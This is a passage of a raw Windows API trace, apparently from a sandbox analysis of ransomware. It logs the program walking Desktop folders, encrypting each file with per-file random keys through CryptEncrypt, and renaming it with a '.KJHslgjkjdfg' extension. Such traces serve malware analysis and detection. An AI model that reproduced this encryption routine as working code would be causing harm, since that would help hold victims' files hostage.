halpmcxz\\desktop\\f1inlhxxjtwlpqadpva0.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f1inlhXXjtwlPQaDpVa0.rtf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f1inlhxxjtwlpqadpva0.rtf.kjhslgjkjdfg")) returned 1 [0144.003] CloseHandle (hObject=0xc0) returned 1 [0144.003] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14952fe0, ftCreationTime.dwHighDateTime=0x1d5e6dd, ftLastAccessTime.dwLowDateTime=0xa045c250, ftLastAccessTime.dwHighDateTime=0x1d5dd0c, ftLastWriteTime.dwLowDateTime=0xa045c250, ftLastWriteTime.dwHighDateTime=0x1d5dd0c, nFileSizeHigh=0x0, nFileSizeLow=0x17d7a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="gflGjOd9YXSBt-A.flv", cAlternateFileName="GFLGJO~1.FLV")) returned 1 [0144.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gflGjOd9YXSBt-A.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gflgjod9yxsbt-a.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.003] GetProcessHeap () returned 0x990000 [0144.004] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.004] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.004] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.004] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x6, lpOverlapped=0x0) returned 1 [0144.006] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.006] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.006] GetProcessHeap () returned 0x990000 [0144.006] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.006] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.006] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.006] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.006] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.007] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.007] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.007] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.007] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.007] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.007] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.007] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.007] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17d7a, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x17d7a, lpOverlapped=0x0) returned 1 [0144.009] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x17d80, dwBufLen=0x17d80 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x17d80) returned 1 [0144.010] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.010] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17d80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x17d80, lpOverlapped=0x0) returned 1 [0144.010] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.010] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x17e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.010] SetEndOfFile (hFile=0xc0) returned 1 [0144.012] GetProcessHeap () returned 0x990000 [0144.012] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.012] GetProcessHeap () returned 0x990000 [0144.012] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gflGjOd9YXSBt-A.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gflgjod9yxsbt-a.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gflGjOd9YXSBt-A.flv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gflgjod9yxsbt-a.flv.kjhslgjkjdfg")) returned 1 [0144.015] CloseHandle (hObject=0xc0) returned 1 [0144.015] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb255510, ftCreationTime.dwHighDateTime=0x1d5dcca, ftLastAccessTime.dwLowDateTime=0x789276a0, ftLastAccessTime.dwHighDateTime=0x1d5d89c, ftLastWriteTime.dwLowDateTime=0x789276a0, ftLastWriteTime.dwHighDateTime=0x1d5d89c, nFileSizeHigh=0x0, nFileSizeLow=0x187fe, dwReserved0=0x0, dwReserved1=0xffff, cFileName="h5xAoqWBZJXSXUwDrz.gif", cAlternateFileName="H5XAOQ~1.GIF")) returned 1 [0144.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h5xAoqWBZJXSXUwDrz.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h5xaoqwbzjxsxuwdrz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.016] GetProcessHeap () returned 0x990000 [0144.016] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.016] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.016] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.016] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x2, lpOverlapped=0x0) returned 1 [0144.017] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.017] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.017] GetProcessHeap () returned 0x990000 [0144.017] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.017] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.017] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.017] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.017] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.018] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.018] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.018] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.018] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.018] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.018] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.018] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.018] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x187fe, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x187fe, lpOverlapped=0x0) returned 1 [0144.019] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x18800, dwBufLen=0x18800 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x18800) returned 1 [0144.020] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.020] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18800, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x18800, lpOverlapped=0x0) returned 1 [0144.021] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.021] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x188e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.021] SetEndOfFile (hFile=0xc0) returned 1 [0144.026] GetProcessHeap () returned 0x990000 [0144.026] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.026] GetProcessHeap () returned 0x990000 [0144.026] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.027] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h5xAoqWBZJXSXUwDrz.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h5xaoqwbzjxsxuwdrz.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h5xAoqWBZJXSXUwDrz.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h5xaoqwbzjxsxuwdrz.gif.kjhslgjkjdfg")) returned 1 [0144.031] CloseHandle (hObject=0xc0) returned 1 [0144.031] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbd5e810, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0xe8fae840, ftLastAccessTime.dwHighDateTime=0x1d5e428, ftLastWriteTime.dwLowDateTime=0xe8fae840, ftLastWriteTime.dwHighDateTime=0x1d5e428, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="ICtIhmTIku3f m", cAlternateFileName="ICTIHM~1")) returned 1 [0144.031] GetProcessHeap () returned 0x990000 [0144.031] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7a) returned 0x9b2468 [0144.031] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\*.*", lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbd5e810, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0xe8fae840, ftLastAccessTime.dwHighDateTime=0x1d5e428, ftLastWriteTime.dwLowDateTime=0xe8fae840, ftLastWriteTime.dwHighDateTime=0x1d5e428, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0144.032] GetProcessHeap () returned 0x990000 [0144.032] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0144.032] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbd5e810, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0xe8fae840, ftLastAccessTime.dwHighDateTime=0x1d5e428, ftLastWriteTime.dwLowDateTime=0xe8fae840, ftLastWriteTime.dwHighDateTime=0x1d5e428, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0144.032] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2926490, ftCreationTime.dwHighDateTime=0x1d5e451, ftLastAccessTime.dwLowDateTime=0x52b711c0, ftLastAccessTime.dwHighDateTime=0x1d5dfbd, ftLastWriteTime.dwLowDateTime=0x52b711c0, ftLastWriteTime.dwHighDateTime=0x1d5dfbd, nFileSizeHigh=0x0, nFileSizeLow=0x8805, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="CCoaL.gif", cAlternateFileName="")) returned 1 [0144.032] GetProcessHeap () returned 0x990000 [0144.032] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27c) returned 0x9b7908 [0144.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\CCoaL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ccoal.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.033] GetProcessHeap () returned 0x990000 [0144.033] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.033] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.033] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.033] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0xb, lpOverlapped=0x0) returned 1 [0144.036] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.036] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.036] GetProcessHeap () returned 0x990000 [0144.036] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0144.036] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df9f0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df9f0*=0x30) returned 1 [0144.036] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.036] WriteFile (in: hFile=0xb8, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfa08*=0x30, lpOverlapped=0x0) returned 1 [0144.036] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.036] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.036] WriteFile (in: hFile=0xb8, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.036] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.036] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.037] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.037] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.037] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.037] ReadFile (in: hFile=0xb8, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8805, lpNumberOfBytesRead=0x29dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfa14*=0x8805, lpOverlapped=0x0) returned 1 [0144.038] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x8810, dwBufLen=0x8810 | out: pbData=0x27d0020*, pdwDataLen=0x29df9f0*=0x8810) returned 1 [0144.038] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.038] WriteFile (in: hFile=0xb8, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8810, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfa08*=0x8810, lpOverlapped=0x0) returned 1 [0144.039] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.039] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x88d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.039] SetEndOfFile (hFile=0xb8) returned 1 [0144.040] GetProcessHeap () returned 0x990000 [0144.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.040] GetProcessHeap () returned 0x990000 [0144.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.040] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\CCoaL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ccoal.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\CCoaL.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\ccoal.gif.kjhslgjkjdfg")) returned 1 [0144.041] CloseHandle (hObject=0xb8) returned 1 [0144.041] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e087720, ftCreationTime.dwHighDateTime=0x1d5e362, ftLastAccessTime.dwLowDateTime=0x7f6a1e10, ftLastAccessTime.dwHighDateTime=0x1d5e62f, ftLastWriteTime.dwLowDateTime=0x7f6a1e10, ftLastWriteTime.dwHighDateTime=0x1d5e62f, nFileSizeHigh=0x0, nFileSizeLow=0x14b4b, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="cR0X.rtf", cAlternateFileName="")) returned 1 [0144.041] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICtIhmTIku3f m\\cR0X.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ictihmtiku3f m\\cr0x.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0144.041] GetProcessHeap () returned 0x990000 [0144.041] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.042] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.042] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa28 | out: lpNewFilePointer=0x0) returned 1 [0144.042] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa38*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa38*, lpNumberOfBytesWritten=0x29dfa08*=0x5, lpOverlapped=0x0) returned 1 [0144.045] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.045] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.045] GetProcessHeap () returned 0x990000 [0144.045] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0144.045] CryptEncrypt (in: hKey=0x9b6568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df9f0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df9f0*=0x30) returned 1 [0144.045] CryptDestroyKey (hKey=0x9b6568) returned 1 [0144.045] WriteFile (in: hFile=0xb8, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfa08*=0x30, lpOverlapped=0x0) returned 1 [0144.045] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa10*, lpNumberOfBytesWritten=0x29dfa08*=0x4, lpOverlapped=0x0) returned 1 [0144.045] WriteFile (in: hFile=0xb8, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfa08*=0x10, lpOverlapped=0x0) returned 1 [0144.045] WriteFile (in: hFile=0xb8, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfa08*=0x80, lpOverlapped=0x0) returned 1 [0144.045] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfa30 | out: lpNewFilePointer=0x0) returned 1 [0144.045] WriteFile (in: hFile=0xb8, lpBuffer=0x29dfa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfa08, lpOverlapped=0x0 | out: lpBuffer=0x29dfa20*, lpNumberOfBytesWritten=0x29dfa08*=0x8, lpOverlapped=0x0) returned 1 [0144.045] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfa0c | out: phKey=0x29dfa0c*=0x9b6568) returned 1 [0144.045] CryptSetKeyParam (hKey=0x9b6568, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.045] SetFilePointerEx (in: 